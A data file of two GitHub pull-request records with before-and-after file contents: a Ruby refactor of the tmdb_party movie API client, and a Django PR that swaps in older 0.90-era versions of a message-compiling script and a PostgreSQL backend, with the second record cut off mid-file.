{"repo": "jduff/tmdb_party", "pr_number": 6, "title": "Create entity class", "state": "closed", "merged_at": "2011-03-23T01:27:29Z", "additions": 34, "deletions": 100, "files_changed": ["lib/tmdb_party.rb", "lib/tmdb_party/cast_member.rb", "lib/tmdb_party/category.rb", "lib/tmdb_party/entity.rb", "lib/tmdb_party/genre.rb", "lib/tmdb_party/movie.rb", "lib/tmdb_party/person.rb", "lib/tmdb_party/studio.rb", "lib/tmdb_party/video.rb"], "files_before": {"lib/tmdb_party.rb": "require 'httparty'\n\n%w[extras/httparty_icebox extras/attributes video genre person image country studio cast_member movie extras/movie_hasher].each do |class_name|\n  require \"tmdb_party/#{class_name}\"\nend\n\nmodule TMDBParty\n  class Base\n    include HTTParty\n    include HTTParty::Icebox\n    cache :store => 'file', :timeout => 120, :location => Dir.tmpdir\n\n    base_uri 'http://api.themoviedb.org/2.1'\n    format :json\n    \n    def initialize(key, lang = 'en')\n      @api_key = key\n      @default_lang = lang\n    end\n    \n    def search(query, lang = @default_lang)\n      data = self.class.get(method_url('Movie.search', lang, query))\n      \n      result_or_empty_array(data, Movie)\n    end\n\n    # Read more about the parameters that can be passed to this method here:\n    # http://api.themoviedb.org/2.1/methods/Movie.browse\n    def browse(params = {}, lang = @default_lang)\n      data = self.class.get(method_url('Movie.browse', lang), :query => {:order => \"asc\", :order_by => \"title\"}.merge(params))\n      \n      result_or_empty_array(data, Movie)\n    end\n    \n    def search_person(query, lang = @default_lang)\n      data = self.class.get(method_url('Person.search', lang, query))\n      \n      result_or_empty_array(data, Person)\n    end\n    \n    def imdb_lookup(imdb_id, lang = @default_lang)\n      data = self.class.get(method_url('Movie.imdbLookup', lang, imdb_id)).parsed_response\n      if data.class != Array || data.first == \"Nothing found.\"\n        nil\n      else\n        Movie.new(data.first, self)\n      end\n    end\n    \n    def get_info(id, lang = @default_lang)\n      data = self.class.get(method_url('Movie.getInfo', lang, id)).parsed_response\n      Movie.new(data.first, self)\n    end\n\n    def get_file_info(file, lang=@default_lang)\n      hash = TMDBParty::MovieHasher.compute_hash(file)\n      bytesize = file.size\n      data = self.class.get(method_url('Media.getInfo', lang, hash, bytesize))\n\n      result_or_empty_array(data, Movie)\n    end\n\n    def get_person(id, lang = @default_lang)\n      data = self.class.get(method_url('Person.getInfo', lang, id)).parsed_response\n      Person.new(data.first, self)\n    end\n    \n    def get_genres(lang = @default_lang)\n      data = self.class.get(method_url('Genres.getList', lang)).parsed_response\n      data[1..-1].collect { |genre| Genre.new(genre) } # Skips the first, see spec/fixtures/genres_results.json\n    end\n    \n    private\n\n    def result_or_empty_array(data, klass)\n      data = data.parsed_response\n      if data.class != Array || data.first == \"Nothing found.\"\n        []\n      else\n        data.collect { |object| klass.new(object, self) }\n      end\n    end\n\n    def method_url(method, lang, *args)\n      url = [method, lang, self.class.format, @api_key]\n      url += args.collect{ |a| URI.escape(a.to_s) }\n      '/' + url.join('/')\n    end\n  end\nend\n", "lib/tmdb_party/cast_member.rb": "module TMDBParty\n  class CastMember\n    include Attributes\n    attr_reader :tmdb\n    attributes :name, :url, :job, :department\n    attributes :id, :type => Integer\n    \n    def initialize(values, tmdb)\n      @tmdb = tmdb\n      self.attributes = values\n    end\n    \n    def character_name\n      read_attribute('character')\n    end\n    \n    def image_url\n      read_attribute('profile')\n    end\n    \n    def person\n      tmdb.get_person(id)\n    end\n    \n    def self.parse(data, tmdb)\n      return unless data\n      if data.is_a?(Array)\n        data.collect do |person|\n          CastMember.new(person, tmdb)\n        end\n      else\n        [CastMember.new(data, tmdb)]\n      end\n    end\n  end\nend", "lib/tmdb_party/category.rb": "module TMDBParty\n  class Category\n    include Attributes\n    attributes :name, :url\n    \n    def initialize(values)\n      self.attributes = values\n    end\n    \n    def self.parse(data)\n      return unless data\n      data = data[\"category\"]\n      if data.is_a?(Array)\n        data.collect do |category|\n          Category.new(category)\n        end\n      else\n        [Category.new(data)]\n      end\n    end\n  end\nend\n", "lib/tmdb_party/genre.rb": "module TMDBParty\n  class Genre\n    include Attributes\n    attributes :id, :type => Integer\n    attributes :name, :url\n    \n    def initialize(values)\n      self.attributes = values\n    end\n    \n    def self.parse(data)\n      return unless data\n      if data.is_a?(Array)\n        data.collect do |g|\n          Genre.new(g)\n        end\n      else\n        [Genre.new(data)]\n      end\n    end\n  end\nend\n", "lib/tmdb_party/movie.rb": "module TMDBParty\n  class Movie\n    include Attributes\n    attr_reader :tmdb\n    \n    attributes :name, :overview, :id, :imdb_id, :movie_type, :url, :alternative_title, :translated, :certification\n    attributes :released\n    attributes :id, :popularity, :type => Integer\n    attributes :score, :type => Float\n    \n    attributes :tagline, :lazy => :get_info!\n    attributes :posters, :backdrops, :lazy => :get_info!, :type => Image\n    attributes :homepage, :lazy => :get_info!\n    attributes :trailer, :lazy => :get_info!\n    attributes :runtime, :lazy => :get_info!, :type => Integer\n    attributes :genres, :lazy => :get_info!, :type => Genre\n    attributes :countries, :lazy => :get_info!, :type => Country\n    attributes :studios, :lazy => :get_info!, :type => Studio\n    \n    alias_method :translated?, :translated\n    \n    def initialize(values, tmdb)\n      @tmdb = tmdb\n      self.attributes = values\n    end\n    \n    def get_info!\n      movie = tmdb.get_info(self.id)\n      @attributes.merge!(movie.attributes) if movie\n      @loaded = true\n    end\n\n    def cast\n      # TODO: This needs refactoring\n      CastMember.parse(read_or_load_attribute('cast', nil, :get_info!), tmdb)\n    end\n\n    def language\n      read_attribute('language').downcase.to_sym\n    end\n\n    def last_modified_at\n      # Date from TMDB is always in MST, but no timezone is present in date string\n      Time.parse(read_attribute('last_modified_at') + ' MST')\n    end\n\n    def directors\n      find_cast('Directing')\n    end\n\n    def actors\n      find_cast('Actors')\n    end\n\n    def writers\n      find_cast('Writing')\n    end\n\n    def producers\n      find_cast('Production')\n    end\n    \n    private\n    \n    def find_cast(type)\n      return [] unless cast\n      guys = cast.select{|c| c.department == type}\n    end\n\n  end\n  \nend", "lib/tmdb_party/person.rb": "module TMDBParty\n  class Person\n    include Attributes\n    attr_reader :tmdb\n    attributes :id, :popularity, :type => Integer\n    attributes :score, :type => Float\n    attributes :name, :url, :biography\n    \n    attributes :birthplace, :birthday, :lazy => :get_info!\n    \n    def initialize(values, tmdb)\n      @tmdb = tmdb\n      self.attributes = values\n    end\n    \n    def biography\n      # HTTParty does not parse the encoded hexadecimal properly. It does not consider 000F to be a hex, but 000f is\n      # A bug has been submitted about this\n      read_attribute('biography').gsub(\"\\\\n\", \"\\n\").gsub(/\\\\u([0-9A-F]{4})/) { [$1.hex].pack(\"U\") }\n    end\n    \n    \n    def get_info!\n      person = tmdb.get_person(self.id)\n      @attributes.merge!(person.attributes) if person\n      @loaded = true\n    end\n  end\nend", "lib/tmdb_party/studio.rb": "module TMDBParty\n  class Studio\n    include Attributes\n    attributes :name, :url\n    \n    def self.parse(data)\n      return unless data\n      if data.is_a?(Array)\n        data.map { |row| Studio.new(row) }\n      else\n        [Studio.new(data)]\n      end\n    end\n    \n    def initialize(attributes)\n      self.attributes = attributes\n    end\n  end\nend", "lib/tmdb_party/video.rb": "module TMDBParty\n  class Video\n    attr_reader :url\n    \n    def initialize(url)\n      @url = url\n    end\n    \n    def self.parse(data)\n      return unless data\n      if data.is_a?(Array)\n        data.collect do |url|\n          Video.new(url)\n        end\n      else\n        Video.new(data)\n      end\n    end\n  end\nend"}, "files_after": {"lib/tmdb_party.rb": "require 'httparty'\n\n%w[extras/httparty_icebox extras/attributes entity video genre person image country studio cast_member movie extras/movie_hasher].each do |class_name|\n  require \"tmdb_party/#{class_name}\"\nend\n\nmodule TMDBParty\n  class Base\n    include HTTParty\n    include HTTParty::Icebox\n    cache :store => 'file', :timeout => 120, :location => Dir.tmpdir\n\n    base_uri 'http://api.themoviedb.org/2.1'\n    format :json\n    \n    def initialize(key, lang = 'en')\n      @api_key = key\n      @default_lang = lang\n    end\n    \n    def search(query, lang = @default_lang)\n      data = self.class.get(method_url('Movie.search', lang, query))\n      \n      result_or_empty_array(data, Movie)\n    end\n\n    # Read more about the parameters that can be passed to this method here:\n    # http://api.themoviedb.org/2.1/methods/Movie.browse\n    def browse(params = {}, lang = @default_lang)\n      data = self.class.get(method_url('Movie.browse', lang), :query => {:order => \"asc\", :order_by => \"title\"}.merge(params))\n      \n      result_or_empty_array(data, Movie)\n    end\n    \n    def search_person(query, lang = @default_lang)\n      data = self.class.get(method_url('Person.search', lang, query))\n      \n      result_or_empty_array(data, Person)\n    end\n    \n    def imdb_lookup(imdb_id, lang = @default_lang)\n      data = self.class.get(method_url('Movie.imdbLookup', lang, imdb_id)).parsed_response\n      if data.class != Array || data.first == \"Nothing found.\"\n        nil\n      else\n        Movie.new(data.first, self)\n      end\n    end\n    \n    def get_info(id, lang = @default_lang)\n      data = self.class.get(method_url('Movie.getInfo', lang, id)).parsed_response\n      Movie.new(data.first, self)\n    end\n\n    def get_file_info(file, lang=@default_lang)\n      hash = TMDBParty::MovieHasher.compute_hash(file)\n      bytesize = file.size\n      data = self.class.get(method_url('Media.getInfo', lang, hash, bytesize))\n\n      result_or_empty_array(data, Movie)\n    end\n\n    def get_person(id, lang = @default_lang)\n      data = self.class.get(method_url('Person.getInfo', lang, id)).parsed_response\n      Person.new(data.first, self)\n    end\n    \n    def get_genres(lang = @default_lang)\n      data = self.class.get(method_url('Genres.getList', lang)).parsed_response\n      data[1..-1].collect { |genre| Genre.new(genre) } # Skips the first, see spec/fixtures/genres_results.json\n    end\n    \n    private\n\n    def result_or_empty_array(data, klass)\n      data = data.parsed_response\n      if data.class != Array || data.first == \"Nothing found.\"\n        []\n      else\n        data.collect { |object| klass.new(object, self) }\n      end\n    end\n\n    def method_url(method, lang, *args)\n      url = [method, lang, self.class.format, @api_key]\n      url += args.collect{ |a| URI.escape(a.to_s) }\n      '/' + url.join('/')\n    end\n  end\nend\n", "lib/tmdb_party/cast_member.rb": "module TMDBParty\n  class CastMember < Entity\n    attr_reader :tmdb\n    attributes :name, :url, :job, :department\n    attributes :id, :type => Integer\n    \n    def character_name\n      read_attribute('character')\n    end\n    \n    def image_url\n      read_attribute('profile')\n    end\n    \n    def person\n      tmdb.get_person(id)\n    end\n  end\nend\n", "lib/tmdb_party/category.rb": "module TMDBParty\n  class Category < Entity\n    attributes :name, :url\n  end\nend\n", "lib/tmdb_party/entity.rb": "module TMDBParty\n  class Entity\n    include Attributes\n    def initialize(values, tmdb=nil)\n      @tmdb = tmdb\n      self.attributes = values\n    end\n\n    def self.parse(data, tmdb=nil)\n      return unless data\n      if data.is_a?(Array)\n        data.collect do |person|\n          self.new(person, tmdb)\n        end\n      else\n        [self.new(data, tmdb)]\n      end\n    end\n  end\nend\n", "lib/tmdb_party/genre.rb": "module TMDBParty\n  class Genre < Entity\n    attributes :id, :type => Integer\n    attributes :name, :url\n  end\nend\n", "lib/tmdb_party/movie.rb": "module TMDBParty\n  class Movie < Entity\n    attr_reader :tmdb\n    \n    attributes :name, :overview, :id, :imdb_id, :movie_type, :url, :alternative_title, :translated, :certification\n    attributes :released\n    attributes :id, :popularity, :type => Integer\n    attributes :score, :type => Float\n    \n    attributes :tagline, :lazy => :get_info!\n    attributes :posters, :backdrops, :lazy => :get_info!, :type => Image\n    attributes :homepage, :lazy => :get_info!\n    attributes :trailer, :lazy => :get_info!\n    attributes :runtime, :lazy => :get_info!, :type => Integer\n    attributes :genres, :lazy => :get_info!, :type => Genre\n    attributes :countries, :lazy => :get_info!, :type => Country\n    attributes :studios, :lazy => :get_info!, :type => Studio\n    \n    alias_method :translated?, :translated\n    \n    def get_info!\n      movie = tmdb.get_info(self.id)\n      @attributes.merge!(movie.attributes) if movie\n      @loaded = true\n    end\n\n    def cast\n      # TODO: This needs refactoring\n      CastMember.parse(read_or_load_attribute('cast', nil, :get_info!), tmdb)\n    end\n\n    def language\n      read_attribute('language').downcase.to_sym\n    end\n\n    def last_modified_at\n      # Date from TMDB is always in MST, but no timezone is present in date string\n      Time.parse(read_attribute('last_modified_at') + ' MST')\n    end\n\n    def directors\n      find_cast('Directing')\n    end\n\n    def actors\n      find_cast('Actors')\n    end\n\n    def writers\n      find_cast('Writing')\n    end\n\n    def producers\n      find_cast('Production')\n    end\n    \n    private\n    \n    def find_cast(type)\n      return [] unless cast\n      guys = cast.select{|c| c.department == type}\n    end\n\n  end\n  \nend\n", "lib/tmdb_party/person.rb": "module TMDBParty\n  class Person < Entity\n    attr_reader :tmdb\n    attributes :id, :popularity, :type => Integer\n    attributes :score, :type => Float\n    attributes :name, :url, :biography\n    \n    attributes :birthplace, :birthday, :lazy => :get_info!\n    \n    def biography\n      # HTTParty does not parse the encoded hexadecimal properly. It does not consider 000F to be a hex, but 000f is\n      # A bug has been submitted about this\n      read_attribute('biography').gsub(\"\\\\n\", \"\\n\").gsub(/\\\\u([0-9A-F]{4})/) { [$1.hex].pack(\"U\") }\n    end\n    \n    \n    def get_info!\n      person = tmdb.get_person(self.id)\n      @attributes.merge!(person.attributes) if person\n      @loaded = true\n    end\n  end\nend\n", "lib/tmdb_party/studio.rb": "module TMDBParty\n  class Studio < Entity\n    attributes :name, :url\n  end\nend\n", "lib/tmdb_party/video.rb": "module TMDBParty\n  class Video < Entity\n    attr_reader :url\n    \n    def initialize(url)\n      super\n      @url = url\n    end\n  end\nend\n"}}
{"repo": "rawwell/django", "pr_number": 1, "title": "0.90 bugfixes Need to check security parameters", "state": "open", "merged_at": null, "additions": 83, "deletions": 35, "files_changed": ["django/bin/compile-messages.py", "django/core/db/backends/postgresql.py", "django/core/handlers/modpython.py", "django/core/meta/__init__.py", "django/core/meta/fields.py"], "files_before": {"django/bin/compile-messages.py": "#!/usr/bin/env python\n\nimport optparse\nimport os\nimport sys\n\ntry:\n    set\nexcept NameError:\n    from sets import Set as set     # For Python 2.3\n\n\ndef compile_messages(locale=None):\n    basedirs = (os.path.join('conf', 'locale'), 'locale')\n    if os.environ.get('DJANGO_SETTINGS_MODULE'):\n        from django.conf import settings\n        basedirs += settings.LOCALE_PATHS\n\n    # Gather existing directories.\n    basedirs = set(map(os.path.abspath, filter(os.path.isdir, basedirs)))\n\n    if not basedirs:\n        print \"This script should be run from the Django SVN tree or your project or app tree, or with the settings module specified.\"\n        sys.exit(1)\n\n    for basedir in basedirs:\n        if locale:\n            basedir = os.path.join(basedir, locale, 'LC_MESSAGES')\n        compile_messages_in_dir(basedir)\n\ndef compile_messages_in_dir(basedir):\n    for dirpath, dirnames, filenames in os.walk(basedir):\n        for f in filenames:\n            if f.endswith('.po'):\n                sys.stderr.write('processing file %s in %s\\n' % (f, dirpath))\n                pf = os.path.splitext(os.path.join(dirpath, f))[0]\n                # Store the names of the .mo and .po files in an environment\n                # variable, rather than doing a string replacement into the\n                # command, so that we can take advantage of shell quoting, to\n                # quote any malicious characters/escaping.\n                # See http://cyberelk.net/tim/articles/cmdline/ar01s02.html\n                os.environ['djangocompilemo'] = pf + '.mo'\n                os.environ['djangocompilepo'] = pf + '.po'\n                if sys.platform == 'win32': # Different shell-variable syntax\n                    cmd = 'msgfmt --check-format -o \"%djangocompilemo%\" \"%djangocompilepo%\"'\n                else:\n                    cmd = 'msgfmt --check-format -o \"$djangocompilemo\" \"$djangocompilepo\"'\n                os.system(cmd)\n\ndef main():\n    parser = optparse.OptionParser()\n    parser.add_option('-l', '--locale', dest='locale',\n            help=\"The locale to process. Default is to process all.\")\n    parser.add_option('--settings',\n        help='Python path to settings module, e.g. \"myproject.settings\". If provided, all LOCALE_PATHS will be processed. If this isn\\'t provided, the DJANGO_SETTINGS_MODULE environment variable will be checked as well.')\n    options, args = parser.parse_args()\n    if len(args):\n        parser.error(\"This program takes no arguments\")\n    if options.settings:\n        os.environ['DJANGO_SETTINGS_MODULE'] = options.settings\n    compile_messages(options.locale)\n\nif __name__ == \"__main__\":\n    main()\n", "django/core/handlers/modpython.py": "import os\nfrom pprint import pformat\n\nfrom django import http\nfrom django.core import signals\nfrom django.core.handlers.base import BaseHandler\nfrom django.dispatch import dispatcher\nfrom django.utils import datastructures\nfrom django.utils.encoding import force_unicode, smart_str\n\n# NOTE: do *not* import settings (or any module which eventually imports\n# settings) until after ModPythonHandler has been called; otherwise os.environ\n# won't be set up correctly (with respect to settings).\n\nclass ModPythonRequest(http.HttpRequest):\n    def __init__(self, req):\n        self._req = req\n        self.path = force_unicode(req.uri)\n\n    def __repr__(self):\n        # Since this is called as part of error handling, we need to be very\n        # robust against potentially malformed input.\n        try:\n            get = pformat(self.GET)\n        except:\n            get = '<could not parse>'\n        try:\n            post = pformat(self.POST)\n        except:\n            post = '<could not parse>'\n        try:\n            cookies = pformat(self.COOKIES)\n        except:\n            cookies = '<could not parse>'\n        try:\n            meta = pformat(self.META)\n        except:\n            meta = '<could not parse>'\n        return smart_str(u'<ModPythonRequest\\npath:%s,\\nGET:%s,\\nPOST:%s,\\nCOOKIES:%s,\\nMETA:%s>' %\n                         (self.path, unicode(get), unicode(post),\n                          unicode(cookies), unicode(meta)))\n\n    def get_full_path(self):\n        return '%s%s' % (self.path, self._req.args and ('?' + self._req.args) or '')\n\n    def is_secure(self):\n        try:\n            return self._req.is_https()\n        except AttributeError:\n            # mod_python < 3.2.10 doesn't have req.is_https().\n            return self._req.subprocess_env.get('HTTPS', '').lower() in ('on', '1')\n\n    def _load_post_and_files(self):\n        \"Populates self._post and self._files\"\n        if 'content-type' in self._req.headers_in and self._req.headers_in['content-type'].startswith('multipart'):\n            self._post, self._files = http.parse_file_upload(self._req.headers_in, self.raw_post_data)\n        else:\n            self._post, self._files = http.QueryDict(self.raw_post_data, encoding=self._encoding), datastructures.MultiValueDict()\n\n    def _get_request(self):\n        if not hasattr(self, '_request'):\n            self._request = datastructures.MergeDict(self.POST, self.GET)\n        return self._request\n\n    def _get_get(self):\n        if not hasattr(self, '_get'):\n            self._get = http.QueryDict(self._req.args, encoding=self._encoding)\n        return self._get\n\n    def _set_get(self, get):\n        self._get = get\n\n    def _get_post(self):\n        if not hasattr(self, '_post'):\n            self._load_post_and_files()\n        return self._post\n\n    def _set_post(self, post):\n        self._post = post\n\n    def _get_cookies(self):\n        if not hasattr(self, '_cookies'):\n            self._cookies = http.parse_cookie(self._req.headers_in.get('cookie', ''))\n        return self._cookies\n\n    def _set_cookies(self, cookies):\n        self._cookies = cookies\n\n    def _get_files(self):\n        if not hasattr(self, '_files'):\n            self._load_post_and_files()\n        return self._files\n\n    def _get_meta(self):\n        \"Lazy loader that returns self.META dictionary\"\n        if not hasattr(self, '_meta'):\n            self._meta = {\n                'AUTH_TYPE':         self._req.ap_auth_type,\n                'CONTENT_LENGTH':    self._req.clength, # This may be wrong\n                'CONTENT_TYPE':      self._req.content_type, # This may be wrong\n                'GATEWAY_INTERFACE': 'CGI/1.1',\n                'PATH_INFO':         self._req.path_info,\n                'PATH_TRANSLATED':   None, # Not supported\n                'QUERY_STRING':      self._req.args,\n                'REMOTE_ADDR':       self._req.connection.remote_ip,\n                'REMOTE_HOST':       None, # DNS lookups not supported\n                'REMOTE_IDENT':      self._req.connection.remote_logname,\n                'REMOTE_USER':       self._req.user,\n                'REQUEST_METHOD':    self._req.method,\n                'SCRIPT_NAME':       None, # Not supported\n                'SERVER_NAME':       self._req.server.server_hostname,\n                'SERVER_PORT':       self._req.server.port,\n                'SERVER_PROTOCOL':   self._req.protocol,\n                'SERVER_SOFTWARE':   'mod_python'\n            }\n            for key, value in self._req.headers_in.items():\n                key = 'HTTP_' + key.upper().replace('-', '_')\n                self._meta[key] = value\n        return self._meta\n\n    def _get_raw_post_data(self):\n        try:\n            return self._raw_post_data\n        except AttributeError:\n            self._raw_post_data = self._req.read()\n            return self._raw_post_data\n\n    def _get_method(self):\n        return self.META['REQUEST_METHOD'].upper()\n\n    GET = property(_get_get, _set_get)\n    POST = property(_get_post, _set_post)\n    COOKIES = property(_get_cookies, _set_cookies)\n    FILES = property(_get_files)\n    META = property(_get_meta)\n    REQUEST = property(_get_request)\n    raw_post_data = property(_get_raw_post_data)\n    method = property(_get_method)\n\nclass ModPythonHandler(BaseHandler):\n    request_class = ModPythonRequest\n\n    def __call__(self, req):\n        # mod_python fakes the environ, and thus doesn't process SetEnv.  This fixes that\n        os.environ.update(req.subprocess_env)\n\n        # now that the environ works we can see the correct settings, so imports\n        # that use settings now can work\n        from django.conf import settings\n\n        # if we need to set up middleware, now that settings works we can do it now.\n        if self._request_middleware is None:\n            self.load_middleware()\n\n        dispatcher.send(signal=signals.request_started)\n        try:\n            try:\n                request = self.request_class(req)\n            except UnicodeDecodeError:\n                response = http.HttpResponseBadRequest()\n            else:\n                response = self.get_response(request)\n\n                # Apply response middleware\n                for middleware_method in self._response_middleware:\n                    response = middleware_method(request, response)\n                response = self.apply_response_fixes(request, response)\n        finally:\n            dispatcher.send(signal=signals.request_finished)\n\n        # Convert our custom HttpResponse object back into the mod_python req.\n        req.content_type = response['Content-Type']\n        for key, value in response.items():\n            if key != 'content-type':\n                req.headers_out[str(key)] = str(value)\n        for c in response.cookies.values():\n            req.headers_out.add('Set-Cookie', c.output(header=''))\n        req.status = response.status_code\n        try:\n            for chunk in response:\n                req.write(chunk)\n        finally:\n            response.close()\n\n        return 0 # mod_python.apache.OK\n\ndef handler(req):\n    # mod_python hooks into this function.\n    return ModPythonHandler()(req)\n"}, "files_after": {"django/bin/compile-messages.py": "#!/usr/bin/python\n\nimport os\nimport sys\nimport getopt\n\nbasedir = None\n\nif os.path.isdir(os.path.join('conf', 'locale')):\n    basedir = os.path.abspath(os.path.join('conf', 'locale'))\nelif os.path.isdir('locale'):\n    basedir = os.path.abspath('locale')\nelse:\n    print \"this script should be run from the django svn tree or your project or app tree\"\n    sys.exit(1)\n\nfor (dirpath, dirnames, filenames) in os.walk(basedir):\n    for file in filenames:\n        if file.endswith('.po'):\n            sys.stderr.write('processing file %s in %s\\n' % (file, dirpath))\n            pf = os.path.splitext(os.path.join(dirpath, file))[0]\n            # Store the names of the .mo and .po files in an environment\n            # variable, rather than doing a string replacement into the\n            # command, so that we can take advantage of shell quoting, to\n            # quote any malicious characters/escaping.\n            # See http://cyberelk.net/tim/articles/cmdline/ar01s02.html\n            os.environ['djangocompilemo'] = pf + '.mo'\n            os.environ['djangocompilepo'] = pf + '.po'\n            cmd = 'msgfmt -o \"$djangocompilemo\" \"$djangocompilepo\"'\n            os.system(cmd)\n\n", "django/core/db/backends/postgresql.py": "\"\"\"\nPostgreSQL database backend for Django.\n\nRequires psycopg 1: http://initd.org/projects/psycopg1\n\"\"\"\n\nfrom django.core.db import base, typecasts\nimport psycopg as Database\n\nDatabaseError = Database.DatabaseError\n\ndef smart_basestring(s, charset):\n    if isinstance(s, unicode):\n        return s.encode(charset)\n    return s\n\nclass UnicodeCursorWrapper(object):\n    \"\"\"\n    A thin wrapper around psycopg cursors that allows them to accept Unicode\n    strings as params.\n\n    This is necessary because psycopg doesn't apply any DB quoting to\n    parameters that are Unicode strings. If a param is Unicode, this will\n    convert it to a bytestring using DEFAULT_CHARSET before passing it to\n    psycopg.\n    \"\"\"\n    def __init__(self, cursor, charset):\n        self.cursor = cursor\n        self.charset = charset\n\n    def execute(self, sql, params=()):\n        return self.cursor.execute(sql, [smart_basestring(p, self.charset) for p in params])\n\n    def executemany(self, sql, param_list):\n        new_param_list = [tuple([smart_basestring(p, self.charset) for p in params]) for params in param_list]\n        return self.cursor.executemany(sql, new_param_list)\n\n    def __getattr__(self, attr):\n        if self.__dict__.has_key(attr):\n            return self.__dict__[attr]\n        else:\n            return getattr(self.cursor, attr)\n\nclass DatabaseWrapper:\n    def __init__(self):\n        self.connection = None\n        self.queries = []\n\n    def cursor(self):\n        from django.conf.settings import DATABASE_USER, DATABASE_NAME, DATABASE_HOST, DATABASE_PORT, DATABASE_PASSWORD, DEBUG, DEFAULT_CHARSET, TIME_ZONE\n        if self.connection is None:\n            if DATABASE_NAME == '':\n                from django.core.exceptions import ImproperlyConfigured\n                raise ImproperlyConfigured, \"You need to specify DATABASE_NAME in your Django settings file.\"\n            conn_string = \"dbname=%s\" % DATABASE_NAME\n            if DATABASE_USER:\n                conn_string = \"user=%s %s\" % (DATABASE_USER, conn_string)\n            if DATABASE_PASSWORD:\n                conn_string += \" password='%s'\" % DATABASE_PASSWORD\n            if DATABASE_HOST:\n                conn_string += \" host=%s\" % DATABASE_HOST\n            if DATABASE_PORT:\n                conn_string += \" port=%s\" % DATABASE_PORT\n            self.connection = Database.connect(conn_string)\n            self.connection.set_isolation_level(1) # make transactions transparent to all cursors\n        cursor = self.connection.cursor()\n        cursor.execute(\"SET TIME ZONE %s\", [TIME_ZONE])\n        cursor = UnicodeCursorWrapper(cursor, DEFAULT_CHARSET)\n        if DEBUG:\n            return base.CursorDebugWrapper(cursor, self)\n        return cursor\n\n    def commit(self):\n        return self.connection.commit()\n\n    def rollback(self):\n        if self.connection:\n            return self.connection.rollback()\n\n    def close(self):\n        if self.connection is not None:\n            self.connection.close()\n            self.connection = None\n\n    def quote_name(self, name):\n        if name.startswith('\"') and name.endswith('\"'):\n            return name # Quoting once is enough.\n        return '\"%s\"' % name\n\ndef dictfetchone(cursor):\n    \"Returns a row from the cursor as a dict\"\n    return cursor.dictfetchone()\n\ndef dictfetchmany(cursor, number):\n    \"Returns a certain number of rows from a cursor as a dict\"\n    return cursor.dictfetchmany(number)\n\ndef dictfetchall(cursor):\n    \"Returns all rows from a cursor as a dict\"\n    return cursor.dictfetchall()\n\ndef get_last_insert_id(cursor, table_name, pk_name):\n    cursor.execute(\"SELECT CURRVAL('%s_%s_seq')\" % (table_name, pk_name))\n    return cursor.fetchone()[0]\n\ndef get_date_extract_sql(lookup_type, table_name):\n    # lookup_type is 'year', 'month', 'day'\n    # http://www.postgresql.org/docs/8.0/static/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT\n    return \"EXTRACT('%s' FROM %s)\" % (lookup_type, table_name)\n\ndef get_date_trunc_sql(lookup_type, field_name):\n    # lookup_type is 'year', 'month', 'day'\n    # http://www.postgresql.org/docs/8.0/static/functions-datetime.html#FUNCTIONS-DATETIME-TRUNC\n    return \"DATE_TRUNC('%s', %s)\" % (lookup_type, field_name)\n\ndef get_limit_offset_sql(limit, offset=None):\n    sql = \"LIMIT %s\" % limit\n    if offset and offset != 0:\n        sql += \" OFFSET %s\" % offset\n    return sql\n\ndef get_random_function_sql():\n    return \"RANDOM()\"\n\ndef get_table_list(cursor):\n    \"Returns a list of table names in the current database.\"\n    cursor.execute(\"\"\"\n        SELECT c.relname\n        FROM pg_catalog.pg_class c\n        LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace\n        WHERE c.relkind IN ('r', 'v', '')\n            AND n.nspname NOT IN ('pg_catalog', 'pg_toast')\n            AND pg_catalog.pg_table_is_visible(c.oid)\"\"\")\n    return [row[0] for row in cursor.fetchall()]\n\ndef get_relations(cursor, table_name):\n    \"\"\"\n    Returns a dictionary of {field_index: (field_index_other_table, other_table)}\n    representing all relationships to the given table. Indexes are 0-based.\n    \"\"\"\n    cursor.execute(\"\"\"\n        SELECT con.conkey, con.confkey, c2.relname\n        FROM pg_constraint con, pg_class c1, pg_class c2\n        WHERE c1.oid = con.conrelid\n            AND c2.oid = con.confrelid\n            AND c1.relname = %s\n            AND con.contype = 'f'\"\"\", [table_name])\n    relations = {}\n    for row in cursor.fetchall():\n        try:\n            # row[0] and row[1] are like \"{2}\", so strip the curly braces.\n            relations[int(row[0][1:-1]) - 1] = (int(row[1][1:-1]) - 1, row[2])\n        except ValueError:\n            continue\n    return relations\n\n# Register these custom typecasts, because Django expects dates/times to be\n# in Python's native (standard-library) datetime/time format, whereas psycopg\n# use mx.DateTime by default.\ntry:\n    Database.register_type(Database.new_type((1082,), \"DATE\", typecasts.typecast_date))\nexcept AttributeError:\n    raise Exception, \"You appear to be using psycopg version 2, which isn't supported yet, because it's still in beta. Use psycopg version 1 instead: http://initd.org/projects/psycopg1\"\nDatabase.register_type(Database.new_type((1083,1266), \"TIME\", typecasts.typecast_time))\nDatabase.register_type(Database.new_type((1114,1184), \"TIMESTAMP\", typecasts.typecast_timestamp))\nDatabase.register_type(Database.new_type((16,), \"BOOLEAN\", typecasts.typecast_boolean))\n\nOPERATOR_MAPPING = {\n    'exact': '=',\n    'iexact': 'ILIKE',\n    'contains': 'LIKE',\n    'icontains': 'ILIKE',\n    'ne': '!=',\n    'gt': '>',\n    'gte': '>=',\n    'lt': '<',\n    'lte': '<=',\n    'startswith': 'LIKE',\n    'endswith': 'LIKE',\n    'istartswith': 'ILIKE',\n    'iendswith': 'ILIKE',\n}\n\n# This dictionary maps Field objects to their associated PostgreSQL column\n# types, as strings. Column-type strings can contain format strings; they'll\n# be interpolated against the values of Field.__dict__ before being output.\n# If a column type is set to None, it won't be included in the output.\nDATA_TYPES = {\n    'AutoField':         'serial',\n    'BooleanField':      'boolean',\n    'CharField':         'varchar(%(maxlength)s)',\n    'CommaSeparatedIntegerField': 'varchar(%(maxlength)s)',\n    'DateField':         'date',\n    'DateTimeField':     'timestamp with time zone',\n    'EmailField':        'varchar(75)',\n    'FileField':         'varchar(100)',\n    'FilePathField':     'varchar(100)',\n    'FloatField':        'numeric(%(max_digits)s, %(decimal_places)s)',\n    'ImageField':        'varchar(100)',\n    'IntegerField':      'integer',\n    'IPAddressField':    'inet',\n    'ManyToManyField':   None,\n    'NullBooleanField':  'boolean',\n    'OneToOneField':     'integer',\n    'PhoneNumberField':  'varchar(20)',\n    'PositiveIntegerField': 'integer CHECK (%(column)s >= 0)',\n    'PositiveSmallIntegerField': 'smallint CHECK (%(column)s >= 0)',\n    'SlugField':         'varchar(50)',\n    'SmallIntegerField': 'smallint',\n    'TextField':         'text',\n    'TimeField':         'time',\n    'URLField':          'varchar(200)',\n    'USStateField':      